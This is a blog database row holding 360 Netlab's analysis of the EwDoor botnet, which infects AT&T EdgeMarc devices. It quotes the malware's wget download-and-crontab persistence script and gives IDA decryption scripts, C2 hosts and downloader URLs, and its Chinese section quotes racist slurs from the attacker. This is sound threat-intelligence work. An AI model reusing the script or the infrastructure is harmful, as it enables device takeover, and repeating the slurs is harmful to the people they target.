gzip compressed data, was \"ramdisk.img\", from Unix, last modified: Wed Oct 27 17:45:08 2021, max compression\n \n fbbacfb20e487265c7fdb30817717f26; gzip compressed data, was \"ramdisk.img\", from Unix, last modified: Wed Oct 27 18:01:33 2021, max compression\n ```\n\n \n2. EwDoor的作者是``俄罗斯恐怖摇滚青年``？\n第一次使用的密钥``TheMagicalMysteryTourIsComingToTakeYouAway!``,是The Beatles乐队的歌词。\n第二次使用的密钥``холодно в доме папа в тужурке мама дочуркою топит в печурке!``，Google翻译为“**it's cold in the house, dad in a jacket, mom drowns her daughter in the stove!**”，妥妥的一句话恐怖故事，看着让人不寒而栗。\n\n3. EwDoor的作者非常凶!\n11月发现我们的蜜罐IP后，在paylaod里骂我们，``kill yourself you fucking nigger chink kike, this is a shitty honeypot, DDoS coming``，用词相当的种族歧视，政治不正确，直言要攻击，吓得我们\"瑟瑟发抖\"。\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_gos2.png\" width=\"860px\" />\n\n\n## 联系我们\n感兴趣的读者，可以在[twitter](https://twitter.com/360Netlab)或者在微信公众号 360Netlab上联系我们。\n\n## IoC\n### C2\n```\n185.10.68.20\nrtmxvd.iunno.se\nekgmua.zapto.org\nboatreviews.xpresit.net\na.rtmxvdio.net\na.hatbowlu3hf.ru\na.hatbowlrtx.su\n45.141.157.217\nrtmxvd.iunno.se\nhhqnyy.zapto.org\nbesthatsite.mooo.com\nb.rtmxvdio.net\nb.hatbowlu3hf.ru\nb.hatbowlrtx.su\n\nport: 53， 443，13433\n```\n\n### Downloader\n\n```\nhttp://185[.10.68.20:1234/ew-new.sh\nhttp://185[.10.68.20:1234/ew.sh\nhttp://185[.10.68.20:1234/prod/mips\nhttp://185[.10.68.20:1234/ramdisk.img.gz\nhttp://212[.193.30.209/61501e55/mips\nhttp://212[.193.30.209/859b6cfa.sh\n```\n\n### Sample MD5\n\n```\n007c28d9a0ccfb10c478689fd63e0de0\n128331f1c808ee385375dd54d0609ebc\n46c18a8e93a863053952985a39bd7d63\n4f0841ac08a27d8b3d56cbd03fb68ad8\n5c4390e1668856cc7f72499a72f935d6\n62bc8899a353921ac685cabb63de97b3\n67ccb3cf1f4f57f5a0ded4d20bc91d73\n7d4937e27d0fd75dd6159ffe53ebb505\n84b3df62ed45bea57d0dd85e80f0dc07\n8794d23cad330de803294a2a1adb128b\nabaed830fe09e92ee434236d3db01e08\nb81ade4f18c2df58adef301f401e8a02\nca6eb890853434ab9a0f8cdbab0965ea\nddf96434bdb7b449ddcc925e6a5b3095\neef0035f971622cc5f48e164ca28a95f\nfbbacfb20e487265c7fdb30817717f26\n```\n\n\n\n\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]],[1,"p",[]]],"ghostVersion":"3.0"} | 619f3e533819e5000763635b |
post | null | 2021-11-29T02:54:33.000Z | 63873b9a8b1c1e0007f52ff6 | warning-ewdoor-botnet-is-attacking-att-customers | 0 | 2021-12-09T08:54:24.000Z | public | published | null | 2021-11-30T14:00:00.000Z | EwDoor Botnet Is Attacking AT&T Customers | <!--kg-card-begin: markdown--><h2 id="background">Background</h2>
<p>On October 27, 2021, our Botmon system ided an attacker attacking Edgewater Networks' devices via CVE-2017-6079 with a relatively unique <code>mount file system command</code> in its payload, which had our attention, and after analysis, we confirmed that this was a brand new botnet, and based on it's targeting of Edgewater producers and its Backdoor feature, we named it <strong>EwDoor</strong>.</p>
<p>The initial version of EwDoor used <strong>a multi-C2 redundancy mechanism</strong>, and we registered the second C2 domain, <code>iunno.se</code>, which gave us the opportunity to measure its size. Unfortunately EwDoor reconfigured its communication model after experiencing problems with the main C2 network failure, using BT tracker to downlink C2s, and in turn we lost sight of EwDoor. However, during this brief observation, we confirmed that the attacked devices were <code>EdgeMarc Enterprise Session Border Controller</code>, belonging to the <strong>telecom company AT&T</strong>, and that all 5.7k active victims that we saw durning the short time window were <strong>all geographically located in the US</strong>.</p>
<p>So far, the EwDoor in our view has undergone 3 versions of updates, and its main functions can be summarized into 2 main categories of DDoS attacks and Backdoor. Based on the attacked devices are telephone communication related, we presume that its <strong>main purpose is DDoS attacks, and gathering of sensitive information</strong>, such as call logs.</p>
<p>Given the size, activity of EwDoor, and sensitivity of the infected devices, we decided to write this paper to share our findings with the community.</p>
<h2 id="timeline">Timeline</h2>
<ul>
<li>
<p>October 27, 2021, first capture of EwDoor, version number 0.12.0, main features are DDoS Attack, File Manager, Reverse Shell, Port Scan, etc.</p>
</li>
<li>
<p>November 8, 2021, EwDoor was updated to version number 0.15.0, moving C2 from local to cloud, using BT Trackers.</p>
</li>
<li>
<p>November 15, 2021, EwDoor updated to version 0.16.0, minor update, adding sandbox confrontation features.</p>
</li>
<li>
<p>November 20, 2021, EwDoor was updated version 0.16.0, minor update, adding more BT Trackers.</p>
</li>
</ul>
<h2 id="ewdooroverview">EwDoor Overview</h2>
<p>We have captured a total of 3 versions of EwDoor, with version 0.16.0 as a blueprint, we can characterize EwDoor as, a botnet that sends C2 down through BT tracker, uses TLS to protect traffic, and mainly profits by means of DDoS attacks and sensitive data theft, which currently propagates through the Nday vulnerability CVE-2017-6079, mainly targeting EdgeMarc Enterprise Session Border Controller devices.</p>
<p>Currently supports 6 major functions.</p>
<ul>
<li>Self updating</li>
<li>Port scanning</li>
<li>File management</li>
<li>DDoS attack</li>
<li>Reverse SHELL</li>
<li>Execute arbitrary commands</li>
</ul>
<p>Its basic loigic is shown below.</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_basic-1.png" width="860px" />
<h2 id="size">Size</h2>
<p>By grabbing the author's unregistered CC domain name, we were able to measure the size of this Botnet for a little while, when the active Bot IP was around 5.7k. The AS numbers of the infected device IPs were all <code>AS7018|AT&T_Services,_Inc. (AT&T, an American telecom company)</code>. By back-checking the SSl certificates used by these devices, we found that there were about 100k IPs using the same SSl certificate. We are not sure how many devices corresponding to these IPs could be infected, but we can speculate that as they belong to the same class of devices the possible impact is real.<br>
<img src="__GHOST_URL__/content/images/2021/11/ew.door.sip.png" alt="ew.door.sip" loading="lazy"></p>
<h2 id="shellscriptanalysis">Shell script analysis</h2>
<p>EwDoor's SHELL script is quite long, we extracted the key parts for analysis.</p>
<pre><code>setup_ramdisk() {
dd if=/dev/zero of=$RAMDISK bs=4096k count=1
gunzip -c $IMAGE > $RAMDISK
mkdir -p $MOUNT
mount $RAMDISK $MOUNT
}
download_update() {
killall -9 ewstat
sleep $[ ( $RANDOM % 10 ) + 1 ]
rm -f $IMAGE
rm -f $EW_BIN
wget -O $IMAGE $1
grep "$EW_BIN" /etc/config/crontab >/dev/null 2>&1
# is it not already in the crontab?
if [ $? != 0 ]; then
echo "* * * * * root $EW_BIN >/dev/null 2>&1 &" >> /etc/config/crontab
fi
sleep 1
cfg_commit
}
</code></pre>
<p>It can be seen that the main functions of the SHELL script are</p>
<ul>
<li>Download and execute EwDoor samples</li>
<li>Set up Crontab for persistence</li>
</ul>
<p>It is also worth mentioning that EwDoor samples are stored in the form of gzip on the download server, which to a certain extent escapes the security detection for binary files; the authors of earlier versions made the sample files into <code>Linux rev 1.0 ext2 filesystem</code> files and then used mount to mount the files on the system, which is probably another trick to protect itself.</p>
<h2 id="sampleanalysis">Sample Analysis</h2>
<p>The latest version of 0.16 was chosen as the main object of analysis, and its basic information is shown below.</p>
<pre><code>MD5:7d4937e27d0fd75dd6159ffe53ebb505
ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
Packer:none
Version: 0.16.0
</code></pre>
<p>Ewdoor uses dynamic linking, and although it adopts some anti-reverse techniques, there is not much difficulty in reversing it. In general, the function is relatively simple. When it runs on the infected device, it first collects device information, them performs soem common things such as single instance, persistence and other functions; then decrypts the bt tracker and obtains C2 by accessing the bt tracker; finally reports the collected device information to C2 and executes the commands issued by C2.</p>
<p>Now let’s analyze the implementation of EwDoor one by one from 3 aspects: safeguard, host behavior and network communication.</p>
<h2 id="safeguards">Safeguards</h2>
<ul>
<li>
<p>TLS protocol is used at the network level to prevent communication from being intercepted.</p>
</li>
<li>
<p>Sensitive resources are encrypted to make it more difficult to reverse</p>
</li>
<li>
<p>C2 has moved from local to "cloud" and sent by BT tracker to prevent direct extraction by IOC system.</p>
</li>
<li>
<p><strong>Modify the "ABIFLAGS" PHT</strong> in ELF to counter qemu-user and some high kernel versions of the linux sandbox. This is a relatively rare countermeasure, which shows that the author of EwDoor is very familiar with the Linux kernel, QEMU, and Edgewater devices.<br>
<img src="__GHOST_URL__/content/images/2021/11/ew_abi.png" alt="ew_abi" loading="lazy"><br>
The following error is generated when actually running a simulation with qemu-user.</p>
<pre><code>write(2, "/tmp/echuysqs: Invalid PT_MIPS_ABIFLAGS entry\n", 46)
</code></pre>
</li>
</ul>
<h2 id="hostbehavior">Host behavior</h2>
<p>When Ewdoor runs, it will check the file name and parameters. When the file name is "/var/tmp/.mnt/ewupdate", it means that this is an update operation, and then it will copy itself to ewstat by the command <code>cp -f /var/tmp/.mnt/ewupdate /var/tmp/.mnt/ewstat</code> and then start the execution; when there are no start parameters, or the first start is not script, then the <code>/etc/config/ew.conf</code> script is executed via bash; only when the first boot data is <strong>script</strong>, the processing logic below is executed, which is in a way also a countermeasure to the sandbox/simulator.</p>
<h3 id="singleinstance">Single instance</h3>
<p>Ewdoor implements single instance by means of a file lock, as shown below.</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_single.png" width="860px" />
<p>We can use <code>/proc/locks</code> to observe the process and corresponding lock files, and then execute the EwDoor, we can see that no new processes are created.</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_singemp.png" width="860px" />
<h3 id="collectingdeviceinformation">Collecting device information</h3>
<p>Ewdoor collects the hostname, NIC address, etc. of the compromised device for use later in the registration process.</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_host.png" width="860px" />
<h3 id="persistence">Persistence</h3>
<p>Ewdoor periodically terminates the netflash process in the system with the following code. <code>netflash</code> command is a maintenance command used to update the system remotely. EwDoor achieves persistence by blocking the maintenance channel and then working with the crontab in the SHELL script.</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_persist.png" width="860px" />
<h2 id="networkcommunication">Network communication</h2>
<p>Ewdoor stores the encrypted network related sensitive resources, such as registration information, C2, ports, etc. in the sample. Therefore, when bots want to communicate with C2, they have to decrypt this part of the resources first, then get the C2 either directly or indirectly, and then finally establish communication with the C2 and wait for the execution of the commands issued by the C2.</p>
<h3 id="decryption">Decryption</h3>
<p>Ewdoor uses 3 tables to describe the encrypted resources, one is the ciphertext table, one is the ciphertext length table and one is the combination table. The ciphertext & ciphertext length table are used to describe the encrypted resource itself, while the combination table is used to describe how the resource is used in combination. The cipher table and cipher length table can decrypt BT domain, BT port and other information, while the combination table can combine BT domain & port into BT tracker.</p>
<p>EwDoor decrypts sensitive information by using the "gstr" function, which is implemented as follows.</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_gstr.png" width="860px" />
<p>After reverse analysis, we wrote the following IDA script, through which we can decrypt all the resource information.</p>
<pre><code># tested in ida 7.0, only for md5 7d4937e27d0fd75dd6159ffe53ebb505
pbuf_base=0x00467014
plen_base=0x00455A14
key="холодно в доме папа в тужурке мама дочуркою топит в печурке!"
cnt=0
while idc.get_wide_dword(plen_base)!=0:
plain=''
blen=idc.get_wide_dword(plen_base)
pbuf=idc.get_wide_dword(pbuf_base)
buf=idc.get_bytes(pbuf,blen)
for i in range(blen):
tmp=chr(ord(buf[i])^cnt ^ ord(key[i % len(key)]))
plain+=tmp
print plain
plen_base+=4
pbuf_base+=4
cnt+=1
if cnt >=62:
break
</code></pre>
<p>There are 62 items of encrypted resources, and the first 22 items after decryption are as follows.</p>
<table>
<thead>
<tr>
<th>index</th>
<th>Item</th>
<th>index</th>
<th>item</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>OrOib2zCIWa10v2bunJ</td>
<td>11</td>
<td>tracker.birkenwald.de</td>
</tr>
<tr>
<td>1</td>
<td>6969</td>
<td>12</td>
<td>ipv6.tracker.zerobytes.xyz</td>
</tr>
<tr>
<td>2</td>
<td>53</td>
<td>13</td>
<td>fe.dealclub.de</td>
</tr>
<tr>
<td>3</td>
<td>1337</td>
<td>14</td>
<td>wassermann.online</td>
</tr>
<tr>
<td>4</td>
<td>80</td>
<td>15</td>
<td>mail.realliferpg.de</td>
</tr>
<tr>
<td>5</td>
<td>451</td>
<td>16</td>
<td>movies.zsw.ca</td>
</tr>
<tr>
<td>6</td>
<td>2770</td>
<td>17</td>
<td>tracker.blacksparrowmedia.net</td>
</tr>
<tr>
<td>7</td>
<td>16661</td>
<td>18</td>
<td>code2chicken.nl</td>
</tr>
<tr>
<td>8</td>
<td>2710</td>
<td>19</td>
<td>abufinzio.monocul.us</td>
</tr>
<tr>
<td>9</td>
<td>2960</td>
<td>20</td>
<td>tracker.0x.tf</td>
</tr>
<tr>
<td>10</td>
<td>3391</td>
<td>21</td>
<td>tracker.altrosky.nl</td>
</tr>
</tbody>
</table>
<p>The combination table built into the sample is shown below.</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_restab.png" width="860px" />
<p>The combination table is grouped by 2 items and combined in order, i.e., table item 11 is combined with table item 1, table item 12 is combined with table item 7, and so on. The combination of [11, 1] and [12, 7] gives the addresses of 2 BT trackers "tracker.birkenwald.de :6969" and "ipv6.tracker.zerobytes.xyz:16661" respectively.</p>
<h2 id="gettingc2">Getting C2</h2>
<p>EwDoor gets C2 in different ways in different versions. In version 0.12.0, the direct method is used, while in 0.15, 0.16, the indirect method is used.</p>
<h3 id="directmethod">Direct method</h3>
<p>After the above decryption process, bots will directly get C2. take sample <code>5d653e9a5b1093ef8408c3884fbd9217</code> as an example, through the following IDA script, decrypt all encrypted resources.</p>
<pre><code># tested in ida 7.0, only for md5 5d653e9a5b1093ef8408c3884fbd9217
pbuf_base=0x00467814
plen_base=0x00456100
key="TheMagicalMysteryTourIsComingToTakeYouAway!"
cnt=0
while idc.get_wide_dword(plen_base)!=0:
plain=''
blen=idc.get_wide_dword(plen_base)
pbuf=idc.get_wide_dword(pbuf_base)
buf=idc.get_bytes(pbuf,blen)
for i in range(blen):
tmp=chr(ord(buf[i])^cnt ^ ord(key[i % len(key)]))
plain+=tmp
print plain
plen_base+=4
pbuf_base+=4
cnt+=1
if cnt>=18:
break
</code></pre>
<p>The decrypted resources are shown in the following table, table entries 1 to 14 are C2s, table entries 15 to 17 are ports.</p>
<table>
<thead>
<tr>
<th>Index</th>
<th>Item</th>
<th>Index</th>
<th>Item</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>F0JEAADWS4kQFj7iPOQyjA</td>
<td>9</td>
<td>rtmxvd.iunno.se</td>
</tr>
<tr>
<td>1</td>
<td>185.10.68.20</td>
<td>10</td>
<td>hhqnyy.zapto.org</td>
</tr>
<tr>
<td>2</td>
<td>rtmxvd.iunno.se</td>
<td>11</td>
<td>besthatsite.mooo.com</td>
</tr>
<tr>
<td>3</td>
<td>ekgmua.zapto.org</td>
<td>12</td>
<td>b.rtmxvdio.ne</td>
</tr>
<tr>
<td>4</td>
<td>boatreviews.xpresit.net</td>
<td>13</td>
<td>b.hatbowlu3hf.ru</td>
</tr>
<tr>
<td>5</td>
<td>a.rtmxvdio.net</td>
<td>14</td>
<td>b.hatbowlrtx.su</td>
</tr>
<tr>
<td>6</td>
<td>a.hatbowlu3hf.ru</td>
<td>15</td>
<td>13433</td>
</tr>
<tr>
<td>7</td>
<td>a.hatbowlrtx.su</td>
<td>16</td>
<td>443</td>
</tr>
<tr>
<td>8</td>
<td>45.141.157.217</td>
<td>17</td>
<td>53</td>
</tr>
</tbody>
</table>
<h3 id="indirectmethod">Indirect method</h3>
<p>The so-called indirect method, that is, after the above decryption process to get the BT tracker, a specific request to the BT tracker has to be made to get C2, this process uses two functions "bt_generate_daily_hash_and_port" and "bt_try_find_good_peers", the former is used to get the C2 port, the latter is used to get the C2 IP.</p>
<p>The implementation of the <code>bt_generate_daily_hash_and_port</code> function is shown below, the specific logic is to format the current time as "%d%m%Y", then splice it with "1HAT2BWL", then calculate the SHA1 value of this string, and then calculate the last 2 bytes of SHA1 to get the port of C2.</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_bthash.png" width="860px" />
<p>In fact, the port calculated in the above step is not the real port value, it needs to add 10. The process is shown in the figure below.</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_port.png" width="860px" />
<p>The implementation of the <code>bt_try_find_good_peers</code> function is shown below. The specific logic is to send the above SHA1 value as infohash to the bt tracker, and get the C2:PORT through the Tracker UDP protocol. If the PORT is equal to the above port value, then this IP is the IP of C2.</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_bt.png" width="860px" />
<p>The following figure shows the network traffic generated on 2021.11.22 as an example.</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_udp.png" width="860px" />
<p>The red part is the SHA1 value of the string "1HAT2BWL22112021", the last 2 bytes of which are 0x23a2, and the port "0xc6fc" of C2 is obtained by the following code operation.</p>
<pre><code>sha18=0x23
sha19=0xa2
def tohex(val, nbits):
return hex((val + (1 << nbits)) % (1 << nbits))
port=sha19+((sha18&0xf)<<8)-15536+10
print tohex(port,16)
</code></pre>
<p>The SHA1 value calculated above will be sent to BT tracker as infohash, and then compare the server port returned by BT tracker, we can see that there are 3 groups of ports are 0xcff6, choose any group to establish communication.</p>
<pre><code>2d 8d 9b d9 : c6fc -> 45.141.155.217:50940
3e 4d 9c 67 : c6fc -> 62.77.156.103:50940
d4 c0 f1 9e : c6fc -> 212.192.241.158:50940
</code></pre>
<p>The actual network connection is as follows:<br>
<img src="__GHOST_URL__/content/images/2021/11/ew_net.png" width="860px" /></p>
<h2 id="communicationwithc2">Communication with C2</h2>
<p>When Ewdoor successfully obtains C2, it first establishes a connection through TLS protocol, then sends the registration information to C2, and finally waits for the execution of the command sent by C2. In this process, according to the different versions, the communication protocols with C2 can be divided into the following two major categories.</p>
<p><center><b><font face ="BOLD" size=10>0.12 version protocol</font> </b></center></p>
<h3 id="0x01tlsconnection">0x01: TLS connection</h3>
<p>The TLS connection itself is not worth talking about, but the interesting point is that in version 0.12, the author of EwDoor <strong>made a mistake</strong>.</p>
<p>As shown in the figure below, in version 0.12, Ewdoor decrypted C2 by "resolving_and_connect_first" to establish a connection with C2. The values of parameters a1,a2 are taken from <code>res_range</code>, which requires a2>=a1 to perform the process of resolving and connecting. Sample<code>5d653e9a5b1093ef8408c3884fbd9217</code> has a1=8,a2=7, which creates a bug that causes the C2s numbered 8 to 14 to never be connected, but the Ewdoor authors quickly realized the bug and in sample<code>6c553db88e4cd52a2ed4795ec1710421</code> and it was fixed.</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_c2bug.png" width="860px" />
<h3 id="0x02registration">0x02: Registration</h3>
<p>The following code constructs the registration packet, which includes the decrypted string from index 0, version number, device host name, device NIC address and other information.</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_regv1.png" width="860px" />
<p>The actual traffic generated is shown below.</p>
<pre><code>00000000 48 45 4c 4f 20 30 2e 31 32 2e 30 20 46 30 4a 45 |HELO 0.12.0 F0JE|
00000010 41 41 44 57 53 34 6b 51 46 6a 37 69 50 4f 51 79 |AADWS4kQFj7iPOQy|
00000020 6a 41 20 64 65 62 69 61 6e 2d 6d 69 70 73 20 31 |jA debian-mips 1|
00000030 32 33 34 35 36 0a |23456.|
</code></pre>
<h3 id="0x03supportedcommands">0x03: Supported commands</h3>
<p>After successful registration with C2, Ewdoor waits for the execution of commands issued by C2. The commands supported by version 0.12 are shown in the following table.</p>
<table>
<thead>
<tr>
<th>cmd</th>
<th>purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>uf</td>
<td>udp flood</td>
</tr>
<tr>
<td>sf</td>
<td>syn flood</td>
</tr>
<tr>
<td>cat</td>
<td>exec "cat" cmd</td>
</tr>
<tr>
<td>ping</td>
<td>heartbeat</td>
</tr>
<tr>
<td>exec</td>
<td>run cmd via bash</td>
</tr>
<tr>
<td>exec2</td>
<td>run cmd via popen</td>
</tr>
<tr>
<td>pscan</td>
<td>port scan</td>
</tr>
<tr>
<td>uname</td>
<td>exec "uname" cmd</td>
</tr>
<tr>
<td>update</td>
<td>write "/tmp/.ewupdate"</td>
</tr>
<tr>
<td>reverse</td>
<td>reverse shell</td>
</tr>
<tr>
<td>download</td>
<td>download file via wget</td>
</tr>
</tbody>
</table>
<p><center><b><font face ="BOLD" size=10>0.15&0.16 version protocol</font></b> </center></p>
<h3 id="0x01tlsconnection">0x01: TLS connection</h3>
<p>Nothing special here.</p>
<h3 id="0x02registration">0x02: Registration</h3>
<p>The following code is used to construct the registration packet. The data includes the decrypted string from index 0, version number, device host name, device NIC address and other information.</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_regv2.png" width="860px" />
<p>The actual traffic generated is shown below.</p>
<pre><code>00000000 00 3b 00 00 00 00 00 00 00 00 02 00 06 30 2e 31 |.;...........0.1|
00000010 36 2e 30 00 13 4f 72 4f 69 62 32 7a 43 49 57 61 |6.0..OrOib2zCIWa|
00000020 31 30 76 32 62 75 6e 4a 00 0b 64 65 62 69 61 6e |10v2bunJ..debian|
00000030 2d 6d 69 70 73 00 06 31 32 33 34 35 36 |-mips..123456|
0000003d
</code></pre>
<h3 id="0x03commandsignatureverification">0x03: Command signature verification</h3>
<p>After successfully registration, Ewdoor waits for C2 to issue the instruction, which consists of "<code>len(2 bytes) + Signature(512 bytes) + sessionid(8bytes) + cmd</code>" 4 parts, when receiving the instruction, Ewdoor will verify the instruction by proto_verify_signature function. By doing this Ewdoor ensures that the whole network is fully controllable and not stolen by others.</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_sig.png" width="860px" />
<p>The pubkey is encrypted and stored in the sample, which is 550 bytes in total, and the real public key can be obtained after the 0x2a</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_key.png" width="860px" />
<p>Take the payload received in practice as an example, it can be divided into 4 parts according to the format described above.</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_payload.png" width="860px" />
<p>The above payload can be easily verified by the pk_verify tool that comes with mbedtls.</p>
<pre><code>>md5 pubkey
9dba72160f5d02ebdc8a78bcb27defa *pubkey
>md5 msg
5a6d3b1018b5e7543ee6f73d6c9df727 *msg
>md5 msg.sig
10acc6e0e0447d900d6d46c66c8f4406 *msg.sig
>cat msg | hexdump -C
00000000 00 00 00 00 00 00 01 07 01
>pk_verify.exe pubkey msg
. Reading public key from 'pubkey'
. Verifying the SHA-256 signature
. OK (the signature is valid)
</code></pre>
<p>When the command passes the check, the specific command is just executed, here the command number is 1, which is the heartbeat command.</p>
<h3 id="0x04supportedcommands">0x04: Supported commands</h3>
<p>The commands supported by version 0.15, 0.16 are shown in the following table.</p>
<table>
<thead>
<tr>
<th>cmd index</th>
<th>purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>heartbeat</td>
</tr>
<tr>
<td>2</td>
<td>port scan</td>
</tr>
<tr>
<td>4</td>
<td>exec "uname" cmd</td>
</tr>
<tr>
<td>5</td>
<td>download file via wget</td>
</tr>
<tr>
<td>6</td>
<td>update, write "/var/tmp/.ewupdate"</td>
</tr>
<tr>
<td>7</td>
<td>run cmd via bash</td>
</tr>
<tr>
<td>8</td>
<td>run cmd via popen</td>
</tr>
<tr>
<td>9</td>
<td>ddos attack</td>
</tr>
</tbody>
</table>
<h2 id="miscellaneous">Miscellaneous</h2>
<ul>
<li>
<p>The author of Ewdoor is a little bit of <strong>a bug fixer</strong>!<br>
It took the author <strong>only 16 minutes</strong> to fix the aforementioned C2 bug in version 0.12.</p>
<pre><code>eef0035f971622cc5f48e164ca28a95f; gzip compressed data, was "ramdisk.img", from Unix, last modified: Wed Oct 27 17:45:08 2021, max compression
fbbacfb20e487265c7fdb30817717f26; gzip compressed data, was "ramdisk.img", from Unix, last modified: Wed Oct 27 18:01:33 2021, max compression
</code></pre>
</li>
<li>
<p>From <strong>The xor keys</strong> to actor profile.<br>
The first used key <code>"TheMagicalMysteryTourIsComingToTakeYouAway!"</code>, is the from The Beatles.<br>
The second used key <code>"холодно в доме папа в тужурке мама дочуркою топит в печурке!"</code> According to google translate, it is <strong>"It’s cold in the house, dad in a jacket, mom drowns her daughter in the stove!"</strong>, kinda creepy!</p>
</li>
<li>
<p>The note from the author<br>
After finding our honeypot IP in November, he called us out in the paylaod, as can be seen from below.<br>
<img src="__GHOST_URL__/content/images/2021/11/ew_gos2.png" width="860px" /></p>
</li>
</ul>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">Twitter</a> or email us to netlab at 360 dot cn.</p>
<h2 id="ioc">IoC</h2>
<h3 id="c2">C2</h3>
<pre><code>185.10.68.20
rtmxvd.iunno.se
ekgmua.zapto.org
boatreviews.xpresit.net
a.rtmxvdio.net
a.hatbowlu3hf.ru
a.hatbowlrtx.su
45.141.157.217
rtmxvd.iunno.se
hhqnyy.zapto.org
besthatsite.mooo.com
b.rtmxvdio.net
b.hatbowlu3hf.ru
b.hatbowlrtx.su
port: 53， 443，13433
</code></pre>
<h3 id="downloader">Downloader</h3>
<pre><code>http://185[.10.68.20:1234/ew-new.sh
http://185[.10.68.20:1234/ew.sh
http://185[.10.68.20:1234/prod/mips
http://185[.10.68.20:1234/ramdisk.img.gz
http://212[.193.30.209/61501e55/mips
http://212[.193.30.209/859b6cfa.sh
</code></pre>
<h3 id="samplemd5">Sample MD5</h3>
<pre><code>007c28d9a0ccfb10c478689fd63e0de0
128331f1c808ee385375dd54d0609ebc
46c18a8e93a863053952985a39bd7d63
4f0841ac08a27d8b3d56cbd03fb68ad8
5c4390e1668856cc7f72499a72f935d6
62bc8899a353921ac685cabb63de97b3
67ccb3cf1f4f57f5a0ded4d20bc91d73
7d4937e27d0fd75dd6159ffe53ebb505
84b3df62ed45bea57d0dd85e80f0dc07
8794d23cad330de803294a2a1adb128b
abaed830fe09e92ee434236d3db01e08
b81ade4f18c2df58adef301f401e8a02
ca6eb890853434ab9a0f8cdbab0965ea
ddf96434bdb7b449ddcc925e6a5b3095
eef0035f971622cc5f48e164ca28a95f
fbbacfb20e487265c7fdb30817717f26
</code></pre>
<!--kg-card-end: markdown--> | Background
On October 27, 2021, our Botmon system ided an attacker attacking Edgewater Networks' devices via CVE-2017-6079 with a relatively unique mount file system command in its payload, which had our attention, and after analysis, we confirmed that this was a brand new botnet, and based on it's targeting of Edgewater producers and its Backdoor feature, we named it EwDoor.
The initial version of EwDoor used a multi-C2 redundancy mechanism, and we registered the second C2 domain, iunno.se, which gave us the opportunity to measure its size. Unfortunately EwDoor reconfigured its communication model after experiencing problems with the main C2 network failure, using BT tracker to downlink C2s, and in turn we lost sight of EwDoor. However, during this brief observation, we confirmed that the attacked devices were EdgeMarc Enterprise Session Border Controller, belonging to the telecom company AT&T, and that all 5.7k active victims that we saw durning the short time window were all geographically located in the US.
So far, the EwDoor in our view has undergone 3 versions of updates, and its main functions can be summarized into 2 main categories of DDoS attacks and Backdoor. Based on the attacked devices are telephone communication related, we presume that its main purpose is DDoS attacks, and gathering of sensitive information, such as call logs.
Given the size, activity of EwDoor, and sensitivity of the infected devices, we decided to write this paper to share our findings with the community.
Timeline
*
October 27, 2021, first capture of EwDoor, version number 0.12.0, main features are DDoS Attack, File Manager, Reverse Shell, Port Scan, etc.
*
November 8, 2021, EwDoor was updated to version number 0.15.0, moving C2 from local to cloud, using BT Trackers.
*
November 15, 2021, EwDoor updated to version 0.16.0, minor update, adding sandbox confrontation features.
*
November 20, 2021, EwDoor was updated version 0.16.0, minor update, adding more BT Trackers.
EwDoor Overview
We have captured a total of 3 versions of EwDoor, with version 0.16.0 as a blueprint, we can characterize EwDoor as, a botnet that sends C2 down through BT tracker, uses TLS to protect traffic, and mainly profits by means of DDoS attacks and sensitive data theft, which currently propagates through the Nday vulnerability CVE-2017-6079, mainly targeting EdgeMarc Enterprise Session Border Controller devices.
Currently supports 6 major functions.
* Self updating
* Port scanning
* File management
* DDoS attack
* Reverse SHELL
* Execute arbitrary commands
Its basic loigic is shown below.
Size
By grabbing the author's unregistered CC domain name, we were able to measure the size of this Botnet for a little while, when the active Bot IP was around 5.7k. The AS numbers of the infected device IPs were all AS7018|AT&T_Services,_Inc. (AT&T, an American telecom company). By back-checking the SSl certificates used by these devices, we found that there were about 100k IPs using the same SSl certificate. We are not sure how many devices corresponding to these IPs could be infected, but we can speculate that as they belong to the same class of devices the possible impact is real.
Shell script analysis
EwDoor's SHELL script is quite long, we extracted the key parts for analysis.
setup_ramdisk() {
dd if=/dev/zero of=$RAMDISK bs=4096k count=1
gunzip -c $IMAGE > $RAMDISK
mkdir -p $MOUNT
mount $RAMDISK $MOUNT
}
download_update() {
killall -9 ewstat
sleep $[ ( $RANDOM % 10 ) + 1 ]
rm -f $IMAGE
rm -f $EW_BIN
wget -O $IMAGE $1
grep "$EW_BIN" /etc/config/crontab >/dev/null 2>&1
# is it not already in the crontab?
if [ $? != 0 ]; then
echo "* * * * * root $EW_BIN >/dev/null 2>&1 &" >> /etc/config/crontab
fi
sleep 1
cfg_commit
}
It can be seen that the main functions of the SHELL script are
* Download and execute EwDoor samples
* Set up Crontab for persistence
It is also worth mentioning that EwDoor samples are stored in the form of gzip on the download server, which to a certain extent escapes the security detection for binary files; the authors of earlier versions made the sample files into Linux rev 1.0 ext2 filesystem files and then used mount to mount the files on the system, which is probably another trick to protect itself.
Sample Analysis
The latest version of 0.16 was chosen as the main object of analysis, and its basic information is shown below.
MD5:7d4937e27d0fd75dd6159ffe53ebb505
